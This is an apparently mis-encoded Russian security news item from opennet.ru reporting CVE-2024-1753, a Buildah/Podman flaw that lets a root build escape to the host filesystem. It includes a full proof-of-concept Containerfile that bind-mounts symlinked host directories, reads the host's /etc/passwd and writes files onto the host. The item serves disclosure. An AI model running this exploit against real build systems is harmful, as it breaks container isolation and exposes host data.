Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² Buildah ΠΈ Podman, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ΠΈΠ·ΠΎΠ»ΡΡ†ΠΈΡŽ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°

Π’ ΠΏΠ°ΠΊΠ΅Ρ‚Π°Ρ… Buildah ΠΈ Podman выявлСна ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ (CVE-2024-1753), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ доступ ΠΊ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС хост-окруТСния Π½Π° стадии сборки ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, запускаСмого с ΠΏΡ€Π°Π²Π°ΠΌΠΈ root. На систСмах с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ SELinux доступ ΠΊ хостовой Π€Π‘ ограничиваСтся Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ чтСния. Π˜ΡΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠΊΠ° доступно Π² Π²ΠΈΠ΄Π΅ ΠΏΠ°Ρ‚Ρ‡Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ нСсколько ΠΌΠΈΠ½ΡƒΡ‚ Π½Π°Π·Π°Π΄ принят Π² ΠΊΠΎΠ΄ΠΎΠ²ΡƒΡŽ Π±Π°Π·Ρƒ Buildah.

Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ монтирования частСй Π€Π‘ Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ «mount —bind» Π²ΠΎ врСмя сборки Π½Π° стадии RUN, Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ с исходным ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠΌ (ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ «source=») Π½Π΅ провСряСтся Π½Π° ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ сущСствования Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ Π€Π‘. ΠžΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Π½Ρ‹ΠΉ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠΌ Ρ„Π°ΠΉΠ» ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Containerfile ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π· ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ исходный ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ для монтирования ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ Π² Π²ΠΈΠ΄Π΅ символичСской ссылки Π½Π° ΠΊΠΎΡ€Π½Π΅Π²ΡƒΡŽ Π€Π‘. Π’ этом случаС опСрация ΠΌΠΎΠ½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΌΠΎΠ½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π²Π½ΡƒΡ‚Ρ€ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ Π€Π‘ хост-окруТСния, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π° стадии RUN ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ доступ ΠΊ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС хост-окруТния ΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹Ρ…ΠΎΠ΄ ΠΈΠ· ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° Π²ΠΎ врСмя сборки ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌΠΈ «buildah build» ΠΈΠ»ΠΈ «podman build».

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ врСдоносного Ρ„Π°ΠΉΠ»Π° Containerfile, сборка ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ «podman build -f ~/Containerfile .» ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΏΠΎΠΊΠ°Π·Ρƒ содСрТимого /etc/passwd ΠΈ созданию Ρ„Π°ΠΉΠ»ΠΎΠ² /BIND_BREAKEOUT ΠΈ /etc/BIND_BREAKOUT2 Π² хост-ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo «ls container root» RUN ls -l / RUN echo «With exploit show host root, not the container’s root, and create /BIND_BREAKOUT in / on the host» RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo «With exploit show host /etc/passwd, not the container’s, and create /BIND_BREAKOUT2 in /etc on the host» RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru